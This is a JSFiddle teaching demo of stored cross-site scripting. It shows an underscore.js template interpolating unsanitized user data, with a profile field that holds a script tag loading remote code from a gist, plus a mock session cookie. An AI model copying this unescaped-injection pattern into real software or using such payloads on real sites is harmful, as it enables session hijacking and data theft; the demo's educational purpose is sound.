JSFiddle - React, Tailwind, and code Playground

HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js"></script>
<p>There is alot of talk about how certain libraries are vulnerable to XSS, but the truth is you don't want to inject html into your website if it contains user input that hasn't been "sanitized". Period.</p>
<p>For example, pretend I run a social network and I have a community page that lets users look up unsanitized personal information via a link, the link might look like this...</p>

<p>http://fakebook.org/peeps/1234</p>

<p>Let pretend that I don't know anything about XSS and I just take user 1234's unsanitized personal info and dump it onto a grid for other users to behold. Instead of writing a paragraph about his personal interest, user 1234 added a gist script to that section of his profile. Then he posts a link to his profile in a spam email that looks like a fakebook.org peep request. Another user clicks the link and hits the profile of user 1234. The script runs and user 1234 can do anything he wants, like hijack the user's session, change their password, or steal credit card information.</p>

<script type="foo/bar" id='user_data_template'>
    <b>First name:</b> <%= first_name %>
    <b>Interests:</b> <%= interests %>
</script>

    
<input name="first_name" id="i_feel_so_vulnerable" />
            <button>update</button>
    
<!-- Create your target -->
<div id="target"></div>

CSS

#i_feel_so_vulnerable {
    width:300px;
}

JavaScript

// in a utopia without hackers a website might use unsanitized data pulled from a database... But in the real world someone will exploit ignorance...
var user = {
	first_name:"noob_hack",
	interests:"<"+"script type=\"text/javascript\" src=\"https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\"></"+"script>"
} 
// lets pretend that this cookie
document.cookie = "Im your cookie @" + document.location.host + ". I could contain sensitive information like a session_id that a hacker could use to hijack your session."

var
  $target = $("#target"),
  $in = $("#i_feel_so_vulnerable"),
  _tmp = _.template($("#user_data_template").html());
$in.change(function(e){
    user.interests = $(this).val();
    $target.html(_tmp(user));
}).val(user.interests).change();